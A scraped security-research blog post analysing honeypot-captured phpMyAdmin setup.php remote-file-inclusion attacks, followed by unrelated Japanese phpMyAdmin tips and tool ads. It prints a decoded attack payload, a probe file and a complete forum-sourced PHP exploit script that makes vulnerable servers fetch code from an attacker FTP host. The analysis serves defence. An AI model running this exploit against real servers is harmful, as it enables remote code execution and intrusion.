PhpMyAdmin setup.php RFI Attacks Detected
SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks. I was looking in our centralModSecurity AuditConsole logging host today and I noticed
SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks. I was looking in our central ModSecurity AuditConsole logging host today and I noticed a spike in traffic from some Russian IPs that were scanning for the PMASA-2010-4 vulnerability in the PhpMyAdmin setup.php script.
Let's look at the raw ModSecurity audit log data of the inbound request:
--4064df0e-A-- [10/Apr/2012:18:05:55 +0000] T4R2gwowybkAAHp9G@sAAAAF 212.24.61.167 38767 XXX.XXX.XXX.XXX 80 --4064df0e-B-- POST /pma/scripts/setup.php HTTP/1.1 Connection: close Host: 176.34.207.219 Referer: 176.34.207.219 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en] Content-Type: application/x-www-form-urlencoded Content-Length: 238 --4064df0e-C-- action=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A55%3A%22ftp%3A%2F%2Fthewinecompany%3AgXNbUEwfLa%4046%2E32%2E228%2E222%2F%2Ea%2Fid%2Etxt%22%3B%7D%7D
If we URL decode the request body data, we get this:
action=lay_navigation&eoltype=unix&token=&configuration=a:1:{i:0;O:10:"PMA_Config":1: {<span><strong>s:6:"source";s:55:"ftp://thewinecompany:gXNbUEwfLa@46.32.228.222/.a/id.txt"</strong></span>;}}
As you can see, the attacker is attempting overwrite the PhpMyAdmin configuration file by instructing it to use FTP to download and run the "id.txt" file on a remote site. The contents of the id.txt file is PHP code:
<?php print(base64_decode("c3Q0cjc=")); echo(php_uname()); print(base64_decode("ZjFuMTVo")); die; ?>
Looking at what this file is doing, it appears to be a simple probe to identify if the target web application is vulnerable to this type of RFI attack. If the application responds with the output from these PHP commands, then the attacker will proceed with other attacks. SpiderLabs Research was able to find the following script in public forums that launch similar attacks:
/* wtf zmeu was here haha,yeah me... found this sh*t bug on pmasux */ $arguments = getopt("a:b:c"); $pma_setup_url = $arguments[a]; //echo $arguments[a]; $ftp_code = 'ftp://devil:devil@85.10.138.51/c.txt'; //$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = '') { $return = ''; $feof_count = 0; $parsed_url = parse_url($url); $site = $parsed_url; $path = $parsed_url; $query = $parsed_url; ($method == 'GET' && !empty($data)) ? $path .= '?'.$data : ''; ($method == 'POST' && !empty($query)) ? $path .= '?'.$query : ''; $fp = fsockopen($site, 80, $errno, $errstr, 30); ($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n"; $out .= "Host: $site\r\n"; $out .= "Content-type: application/x-www-form-urlencoded\r\n"; $out .= "Connection: Close\r\n"; $out .= "User-Agent: $ua_string\r\n"; $out .= "Referer: $referer_string\r\n"; $out .= "Cookie: $cookie_string\r\n"; ($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n"; ($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out); while (!feof($fp)) { if($feof_count >=200) break; $return .= fread($fp, 4800); ++$feof_count; } fclose($fp); return $return; } $token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,'','Opera'); preg_match('@name="token" value="(a-f0-9{32})"@is',$token_page,$token_array); $token = $token_array[1]; preg_match_all('@Set-Cookie: (<span>^\r\n;</span>+)@is',$token_page,$cookie_array); $cookie_array = $cookie_array[1]; $cookie_array = implode("; ",$cookie_array); print send_data('POST',$pma_setup_url,'action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($ftp_code).':"'.$ftp_code.'";}}'),$pma_setup_url,$cookie_array,'Opera');
This issue was patched in the php source code with the following update:
By filtering out non-word characters, it would prevent the attacker from injecting the RFI code.

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









テーブルの主キーは、テーブル内の各レコードを一意に識別する 1 つ以上の列です。主キーを設定する手順は次のとおりです。 phpMyAdmin にログインします。データベースとテーブルを選択します。主キーとして使用する列にチェックを入れます。 「変更を保存」をクリックします。主キーは、データの整合性、検索速度、関係モデリングの利点を提供します。

PHPMyAdmin ログ ファイルのデフォルトの場所: Linux/Unix/macOS:/var/log/phpmyadminWindows: C:\xampp\phpMyAdmin\logs\ ログ ファイルの目的: 監査セキュリティのトラブルシューティング

phpMyAdmin に外部キーを追加するには、次の手順に従います。 外部キーを含む親テーブルを選択します。親テーブルの構造を編集し、「列」に新しい列を追加します。外部キー制約を有効にし、参照テーブルとキーを選択します。更新・削除の動作を設定します。変更内容を保存。

PHPMyAdmin のデフォルトのユーザー名とパスワードは root で空です。セキュリティ上の理由から、デフォルトのパスワードを変更することをお勧めします。パスワードを変更する方法: 1. PHPMyAdmin にログインします; 2. 「権限」を選択します; 3. 新しいパスワードを入力して保存します。パスワードを忘れた場合は、MySQL サービスを停止して構成ファイルを編集することでパスワードをリセットできます: 1. Skip-grant-tables 行を追加します; 2. MySQL コマンド ラインにログインして root パスワードをリセットします; 3. 更新します権限テーブル; 4. Skip-grant-tables 行を削除し、MySQL サービスを再起動します。

WordPress データベースは、すべての Web サイト データを保存する MySQL データベースに格納されており、ホスティング プロバイダーのダッシュボード、FTP、または phpMyAdmin を通じてアクセスできます。データベース名は Web サイトの URL またはユーザー名に関連付けられており、アクセスするには、名前、ユーザー名、パスワード、ホスト名などのデータベース資格情報を使用する必要があります。これらの資格情報は通常「wp-config.php」ファイルに保存されます。

phpMyAdmin によってアクセスが拒否される理由と解決策: 認証に失敗しました: ユーザー名とパスワードが正しいかどうかを確認してください。サーバー構成エラー: ファイアウォール設定を調整し、データベース ポートが正しいかどうかを確認してください。権限の問題: ユーザーにデータベースへのアクセスを許可します。セッションタイムアウト: ブラウザページを更新して再接続します。 phpMyAdmin 設定エラー: 設定ファイルとファイルのアクセス許可をチェックして、必要な Apache モジュールが有効になっていることを確認してください。サーバーの問題: しばらく待ってから再試行するか、ホスティングプロバイダーに問い合わせてください。

phpMyAdmin でデータ テーブルを削除する手順: データベースとデータ テーブルを選択し、[アクション] タブをクリックし、[削除] オプションを選択し、削除操作を確認して実行します。

関連するビューは、phpMyAdmin の「構造」タブの「ビュー」サブメニューにあります。これらにアクセスするには、データベースを選択し、「構造」タブをクリックして、「表示」サブメニューをクリックするだけです。
